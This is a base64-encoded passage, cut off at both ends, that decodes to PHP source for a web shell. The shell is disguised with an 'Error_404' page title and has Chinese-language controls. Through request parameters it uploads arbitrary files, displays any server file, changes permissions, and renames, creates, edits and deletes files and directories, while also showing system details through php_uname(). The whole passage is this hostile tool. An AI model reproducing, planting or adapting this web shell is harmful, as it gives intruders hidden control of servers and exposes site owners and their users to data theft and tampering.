nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgICAgIHJldHVybiAkaW5mbzsKICAgIH0KCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgLyoqCiAgICAgKiDovazljJYgXCDkuLogLwogICAgICovCiAgICBmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkKICAgIHsKICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOwogICAgICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7CiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgfQoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogICAgLyoqIOWPluW+l+ermeeCueagueebruW9lQogICAgICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10KICAgICAqLwogICAgZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpewoKICAgICAgICAkcGhwX3NlbGYgPSBkaXJfcGF0aCgkX1NFUlZFUlsiUEhQX1NFTEYiXSk7CiAgICAgICAgJHNjcmlwdF9maWxlbmFtZSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiAgICAgICAgaWYgKGVtcHR5KCRfU0VSVkVSWyJQSFBfU0VMRiJdKSBvciBlbXB0eSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKXsKICAgICAgICAgICAgJGRvMSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pOwogICAgICAgICAgICAkZG8gPSBydHJpbSgkZG8xLCcvJyk7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICRkbyA9IHN0cl9yZXBsYWNlKHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJHBocF9zZWxmKSwgIiIsIHN0cl9yZXBsYWNlKCJcXFxcIiwgIi8iLCAkc2NyaXB0X2ZpbGVuYW1lKSk7CiAgICAgICAgfQoJCWlmKGVtcHR5KCRkbykpICRkbyA9ICcvJzsKICAgICAgICByZXR1cm4gJGRvOwogICAgfQogICAgJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7CiAgICBkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7CgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgoKICAgICRwaHBfdmVyc2lvbiA9IFBIUF9NQUpPUl9WRVJTSU9OOwoJaWYoJHBocF92ZXJzaW9uPD03KXsKCQlpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKCQkJZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKCQkJCSRfUE9TVFska2V5XSA9IHN0cmlwc2xhc2hlcygkdmFsdWUpOwoJCQl9CgkJfQoJfQoKICAgICRWZXJzaW9uID0gYmFzZTY0X2RlY29kZSgnNXB5QTVaQ081NXFFNVlDVTVieTYnKTsKICAgIGlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKICAgICAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107CiAgICB9ZWxzZXsKICAgICAgICAkcGF0aCA9IGdldGN3ZCgpOwogICAgfQoKCiAgICBlY2hvICc8IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIvPgo8L2hlYWQ+JzsKICAgID8+CgogICAgPGNlbnRlcj4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30KICAgICAgICAgICAgdGFibGUsdGgsdGR7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjEzcHg7fQogICAgICAgICAgICBpbnB1dCx0ZXh0YXJlYXt9CiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30KICAgICAgICAgICAgdGh7cGFkZGluZzoxMHB4O30KICAgICAgICAgICAgLnRkX2hvbWV7cGFkZGluZzo3cHg7fQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30KICAgICAgICAgICAgdGV4dGFyZWF7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7fQogICAgICAgICAgICAjY29udGVudCB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNjZWNlY2U7dGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7Y29sb3I6I2ZmZjt9CiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQogICAgICAgICAgICAuZGggYTpob3ZlcnsgY29sb3I6ICNmMDA7fQogICAgICAgIDwvc3R5bGU+CiAgICA8P3BocAogICAgZWNobyAnPC9oZWFkPgo8Ym9keT48Yj4KPEgxPjxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+Jy4kVmVyc2lvbi4nPC9mb250PjwvY2VudGVyPjwvaDE+Cjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+Cgo8dHI+PHRkPgoKPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOwogICAgaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpewogICAgICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKICAgIH1lbHNlewogICAgICAgICRwYXRoID0gZ2V0Y3dkKCk7CiAgICB9CiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCiAgICAkZ2VuX2xpbmtfdXJsID0gJzxhIHN0eWxlPSJjb2xvcjojMDA2NkZGIiBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuRE9DVU1FTlRfUk9PVDsKICAgICRnZW5fbGlua191cmwgLj0gJyI+5qC555uu5b2VIO+8miAgICA8L2E+Jm5ic3A7JzsKICAgIGVjaG8gJGdlbl9saW5rX3VybDsKCiAgICBmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpewogICAgICAgIGlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApewogICAgICAgICAgICAkYSA9IHRydWU7CiAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSMwMDA+CjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7CiAgICAgICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsKICAgICAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspewogICAgICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsKICAgICAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsKICAgICAgICB9CiAgICAgICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsKICAgIH0KICAgIGVjaG8gJzwvZm9udD4KPGJyPjxicj4KPC90ZD48L3RyPjx0cj48dGQ+PGNlbnRlcj4nOwoKICAgIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewogICAgICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgIH1lbHNlewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IuS4iuS8oCIgLz4KPC9mb3JtPjwvY2VudGVyPgo8L3RkPjwvdHI+JzsKICAgIGlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKICAgICAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsKICAgICAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107CiAgICAgICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsKICAgICAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7CiAgICB9Ci8vRW1wZXR5CiAgICBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gIT0gJ2RlbGV0ZScpewovLyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsKICAgICAgICBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsKLy9DaG1vZAogICAgICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsKICAgICAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107CgogICAgICAgICAgICAgICAgaWYoc3RybGVuKCRuZXdfcGVybV9vKTw9MykgJG5ld19wZXJtX289c3RyX3BhZCgkbmV3X3Blcm1fbywzLCc2JyxTVFJfUEFEX0xFRlQpOwogICAgICAgICAgICAgICAgJG5ld19wZXJtX289aW50dmFsKHN0cl9wYWQoJG5ld19wZXJtX28sNCwnMCcsU1RSX1BBRF9MRUZUKSw4KTsKCiAgICAgICAgICAgICAgICBpZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkbmV3X3Blcm1fbykpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5pu05pS55p2D6ZmQ5oiQ5Yqf77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5pu05pS55p2D6ZmQ6ZSZ6K+v77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsKICAgICAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj48YnI+CuW9k+WJjeaWh+S7tiA6ICcuJHBhdGMuJzxicj48YnI+5p2D6ZmQLS0tLScuc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRwYXRjKSwxMCw4KSwtNCkuJzxicj48YnI+Cuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4KPGJyPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+Cic7CgogICAgICAgIH0KLy8KICAgICAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsKICAgICAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBhY3Rpb249Ij9BUlJBWT0nLiRBUlJBWS4nJm9wdGlvbiZwYXRoPScuJGN3ZC4nJm9wdD1kZWxldGUmdHlwZT1idWF0IiBtZXRob2Q9IlBPU1QiPgrmlrDnm67lvZXlkI0gOiA8aW5wdXQgbmFtZT0ibmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSJGb2xkZXIiIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImRlbGV0ZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4nOwogICAgICAgIH0KLy9SZW5hbWUgZmlsZQogICAgICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ3JlbmFtZScpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+6YeN5ZG95ZCN5oiQ5YqfISA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+6YeN5ZG95ZCN5aSx6LSlISA6KCA8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPgo8L2Zvcm0+JzsKICAgICAgICB9Ci8vRmlsZSBiYXJ1CiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpewoKICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9IGVtcHR5KCRfUE9TVFsnbmV3bmFtZSddKT8kX1BPU1RbJ25nYXJhbjEnXTokX1BPU1RbJ25ld25hbWUnXTsKICAgICAgICAgICAgJGF6eiA9ICRfUE9TVFsncGF0aCddOwogICAgICAgICAgICAkbmV3eiA9ICRhenouIi8iLiRuZXc7CiAgICAgICAgICAgICRuZXdfZmllbCA9ICRoZWxsLicvJy4kX1BPU1RbJ25nYXJhbjEnXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnbmdhcmFuMSddKSkgZWNobyAi5q2j5Zyo5paw5bu65paH5Lu277yaeyRuZXdfZmllbH08YnI+PGJyPiI7CiAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CiAgICAgICAgICAgICAgICBpZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuaWsOW7uuaWh+S7tuaIkOWKnyBbICcuJGF6ei4nIF08L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuaWh+S7tuWksei0pSA+Oig8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPiDmlrDmlofku7blkI0gOiA8aW5wdXQgbmFtZT0ibmdhcmFuMSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRuZXcuJyIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJuZ2FyYW4iIC8+PC9mb3JtPjxicj4gJzsKCiAgICAgICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOwoKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZ2FyYW4nXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+CjwvZm9ybT4nOwogICAgICAgICAgICB9CiAgICAgICAgfQovL0VkaXRlZCBmaWxlCiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnZWRpdCcpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOwogICAgICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7nvJbovpHmiJDlip/vvIEgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7nvJbovpHlpLHotKXvvIE8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJHBhdGMpKS4nPC90ZXh0YXJlYT48YnIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPjxicj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+Cjxicj4KPGJyPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4KCjwvZm9ybT4nOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L2NlbnRlcj4nOwogICAgfWVsc2V7CiAgICAgICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7Ci8vRGVsZXRlIGRpciBhbmQgZmlsZQogICAgICAgIGlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddID09ICdkZWxldGUnKXsKCiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgovL0RlbGV0ZSBkaXIKICAgICAgICAgICAgaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZGlyJyl7CgogICAgICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQovL2J1YXQgZm9sZGVyCiAgICAgICAgICAgIGlmKCRfR0VUWyd0eXBlJ10gPT0gJ2J1YXQnKXsKICAgICAgICAgICAgICAgICRoYWFhID0gJF9QT1NUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkaGVlZSA9ICRfUE9TVFsnbmFtZSddOwogICAgICAgICAgICAgICAgJGhvb28gPSAiJGhhYWEvJGhlZWUiOwogICAgICAgICAgICAgICAgJG5ldyA9ICRoYWFhLicvJy5odG1sc3BlY2lhbGNoYXJzKCRoZWVlKTsKICAgICAgICAgICAgICAgIGlmKCFta2RpcigkbmV3KSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5paw5bu655uu5b2V5aSx6LSlITwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rnm67lvZXmiJDlip8hID46KTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Ci8vRGVsZXRlIGZpbGUKICAgICAgICAgICAgZWxzZWlmKCRfR0VUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKCiAgICAgICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgogICAgICAgICAgICAgICAgaWYodW5saW5rKCRwYXRjKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlofku7bliKDpmaTmiJDlip88L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWh+S7tuWIoOmZpOWksei0pTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvY2VudGVyPic7CiAgICAgICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkcGEgPSBnZXRjd2QoKTsKICAgICAgICBlY2hvICcgPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBjbGFzcz0idGFibGVfaG9tZSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogCjx0cj4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiPjxjZW50ZXI+5ZCN56ewPC9jZW50ZXI+PC90aD4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuWkp+WwjzwvY2VudGVyPjwvdGg+Cjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPgo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5pON5L2c6YCJ6aG5PC9jZW50ZXI+PC90aD4KPC90cj4KCgogPHRyPgo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuZGlybmFtZSgkcGF0aCkuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5LiK5LiA6aG1Ij7kuIrkuIDpobU8L2E+CjwvdGQ+PHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249Y2VudGVyPlNpemU8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+Q2htb2Q8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YmFydSZuYW1lPW5ldy5waHAiPisg5paw5bu65paH5Lu2PC9hPiB8IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YnR3JnR5cGU9ZGlyIj4rIOaWsOW7uuebruW9lTwvYT4gPC90ZD48L3RyPgonOwoKICAgICAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpewogICAgICAgICAgICBpZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRp